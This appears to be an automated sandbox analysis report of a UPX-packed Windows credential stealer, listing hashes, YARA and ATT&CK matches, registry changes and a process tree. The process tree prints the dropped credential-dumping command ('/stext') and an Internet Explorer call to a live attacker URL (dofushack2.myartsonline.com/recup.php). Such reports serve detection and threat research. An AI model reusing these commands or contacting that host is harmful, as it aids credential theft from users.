652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476

Analysis

max time kernel
72s
max time network
143s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
03/12/2022, 16:05

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General

Target

652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe
Size

220KB
MD5

6e1218085443b5d66f82cb98f9cca0b5
SHA1

729ceb8815d87ef87a19a2bcdcba63ca35e85283
SHA256

652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476
SHA512

37b5016e6dbee243b8480c817457d72fb9a0cb78a725c010dfa50b219de560f44bb60e021abd5b55cbc62886581315b8c5aa1d1c645602512040e3c8b04de452
SSDEEP

6144:EB9gvxc8jCA4AnyDfbmtezMP3P5HXt73:1eTMyDKtezMhHd

Score

9^/10

spyware stealer upx

Malware Config

Signatures

Nirsoft 1 IoCs

resource	yara_rule
behavioral1/memory/1472-58-0x0000000000400000-0x0000000000425000-memory.dmp	Nirsoft

Executes dropped EXE 1 IoCs

pid	Process
1472	225488.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000c0000000054a8-56.dat	upx
behavioral1/memory/1472-58-0x0000000000400000-0x0000000000425000-memory.dmp	upx
behavioral1/memory/828-59-0x0000000000400000-0x000000000047B000-memory.dmp	upx
behavioral1/memory/828-61-0x00000000020A0000-0x00000000020C5000-memory.dmp	upx
behavioral1/memory/828-63-0x0000000000400000-0x000000000047B000-memory.dmp	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\225488.exe	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe
File created	C:\Windows\225488.txt	225488.exe
File created	C:\Windows\652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe.txt	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7EF06C31-75A3-11ED-A674-466E2F293893} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b0564d62b009d901	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006304bda07ad0c746a2e9e77cb38c8677000000000200000000001066000000010000200000004e4ff9258c5cbdf92e41b522e4aee1686f2a0d78da1bd187d1b315bfc292b17e000000000e80000000020000200000005b9b56c6de6faab8c646cdfdef266af6e43e1213f3eae6f3c4626dc29e71f0b02000000004080fb1d132ae5bfdf11a89321ed0803f17f91ebd2201a284ee63fe4687578f40000000f18993e45f6faf0ebc7d6caf1bc5d7ce666fa17132efeb1e7311c364bd3cd213e62eb18868aaceb683ac9395c02fd2f1cbd43f813dbce9d42cb0445774a38199	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006304bda07ad0c746a2e9e77cb38c8677000000000200000000001066000000010000200000000cfbdcca10697c71b358d568cebe1d0516b63db0a0717aee498c0c0fd618b521000000000e800000000200002000000077f6765c9c86d9b2b32fd2541943f16b23861e92039bfee47a531aaafac7dd4e90000000b098c090aab0b95b880ccce3594f030b77b50ec7cddbd22e84bfb70b03036c00b22bf29bff22e6ae091c9004727b373eedbeb7568384a0c9c59199fccf77dd0dec6123af21b1a42aee3c3f524cab20550bdf971dc1aede0e413d4e814f123ee47751d37d011f083b224772ac5a358d5b2c0a794e860c6270a1bcd393f70a838f8e4eb56498f3b4ef76616991c3368e53400000005375788a09c6c0c65e62d030206c7f9e59b5cc93e676ecfe9caf1d546f11b1a4681e9f3c35b2defc1dad2159cf4bf1dbf5062ed8ed864789190a0ce1a2930448	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "377123034"	iexplore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1472	225488.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1680	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1680	iexplore.exe
1680	iexplore.exe
1112	IEXPLORE.EXE
1112	IEXPLORE.EXE
1112	IEXPLORE.EXE
1112	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 828 wrote to memory of 1472	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	28
PID 828 wrote to memory of 1472	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	28
PID 828 wrote to memory of 1472	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	28
PID 828 wrote to memory of 1472	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	28
PID 828 wrote to memory of 1680	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	29
PID 828 wrote to memory of 1680	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	29
PID 828 wrote to memory of 1680	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	29
PID 828 wrote to memory of 1680	828	652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe	29
PID 1680 wrote to memory of 1112	1680	iexplore.exe	31
PID 1680 wrote to memory of 1112	1680	iexplore.exe	31
PID 1680 wrote to memory of 1112	1680	iexplore.exe	31
PID 1680 wrote to memory of 1112	1680	iexplore.exe	31

C:\Users\Admin\AppData\Local\Temp\652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe
"C:\Users\Admin\AppData\Local\Temp\652efbc10cdbd04f16eb8c5b51b00c974f40e78d1ab3543050a079f08a6f8476.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:828
- C:\Windows\225488.exe
  "C:\Windows\225488.exe" /stext C:\Windows\225488.txt
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:1472
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://dofushack2.myartsonline.com/recup.php?actif=Le_serveur_Dofus Conf_est_activé
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1680 CREDAT:275457 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\2LVV991J.txt

Filesize
608B

MD5
02cf93a6bda4834be70a068398d4e70a

SHA1
7ec414bdb7c419ca8fa3edef4f8cbf9000d511a9

SHA256
c76f2629f4ecb9fba426610916af3ef68c479d6d95f0c08ca69f58894f7979be

SHA512
aacabc3ff5a8d5fd0182ea2516c9588fe27408c49458d261ca0011dd7b663755fb2d37d5ded3986159e908fa6ea7ba76bb864ea594af1dac235137b83de5f328

Download Submit
C:\Windows\225488.exe

Filesize
63KB

MD5
113417b6a1a108eb22337602661e7a59

SHA1
c89f17a24058a33851d02561bcdae48f327c18c5

SHA256
152374899c00e31678b5d627e4d05ff877f59cce3319cc024c25cf3bf40302a2

SHA512
182732b7853e0a28c73ea44a7e0c2ada764d74bb9010358d78ae4edd7829140d73af7d1ad7544a973ccff6f442593d5697ae792f604f410e8a35c9d18a680e88

Download Submit
memory/828-54-0x0000000075A11000-0x0000000075A13000-memory.dmp

Filesize
8KB

Download
memory/828-59-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/828-60-0x00000000005C0000-0x00000000005D0000-memory.dmp

Filesize
64KB

Download
memory/828-61-0x00000000020A0000-0x00000000020C5000-memory.dmp

Filesize
148KB

Download
memory/828-62-0x00000000020A0000-0x00000000020C5000-memory.dmp

Filesize
148KB

Download
memory/828-63-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/828-64-0x00000000005C0000-0x00000000005CD000-memory.dmp

Filesize
52KB

Download
memory/1472-58-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download